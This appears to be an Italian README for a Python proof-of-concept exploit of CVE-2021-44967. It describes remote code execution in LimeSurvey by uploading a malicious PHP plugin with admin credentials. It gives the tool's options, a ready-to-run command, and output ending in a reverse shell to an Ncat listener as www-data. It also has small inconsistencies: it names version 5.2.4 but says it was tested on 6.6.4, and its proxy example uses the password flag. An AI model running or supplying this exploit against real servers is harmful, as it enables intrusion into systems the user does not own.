
Exploit proof-of-concept per CVE-2021-44967 che consente l'esecuzione remota di codice in LimeSurvey 5.2.4 tramite caricamento di plugin dannosi, con capacità di reverse shell.
Questa Proof-of-Concept (POC) può essere utilizzata per sfruttare CVE-2021-44967 per caricare ed eseguire un plugin PHP malevolo di LimeSurvey come amministratore per ottenere una reverse shell.
Esiste una vulnerabilità di esecuzione di codice remoto (RCE) in LimeSurvey 5.2.4 tramite la funzione di caricamento e installazione dei plugin, che potrebbe consentire a un utente malintenzionato remoto di caricare un file di codice PHP arbitrario.
Gravità: 8.3 ALTA Vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
usage: limesurvey_rce.py [-h] -t URL -u USERNAME -p PASSWORD [-f FILE] [--listen-ip LISTEN_IP] [--listen-port LISTEN_PORT] [--threads THREADS] [--sleep-time SLEEP_TIME] [--row ROW]
[--length LENGTH] [-a USERAGENT] [-x PROXY] [-v]
POC for CVE-2021-44967 (LimeSurvey RCE)
options:
-h, --help show this help message and exit
-t, --url URL LimeSurvey Target URL
-u, --username USERNAME
LimeSurvey username
-p, --password PASSWORD
LimeSurvey password
-f, --file FILE Custom PHP payload file
--listen-ip LISTEN_IP
Listening IP / Interface
--listen-port LISTEN_PORT
Listening Port
-a, --useragent USERAGENT
User agent to use when sending requests
-x, --proxy PROXY HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag
python3 limesurvey_rce.py -t https://TARGET/ -u 'USERNAME' -p 'PASSWORD'
[*] Authenticating ...
[+] Login successful!
[*] Uploading plugin ...
[*] Activating plugin ...
[*] Starting listener and sending reverse shelll ...
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from X.X.X.X:51004.
www-data@target:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Testato su LimeSurvey Community Edition Versione 6.6.4.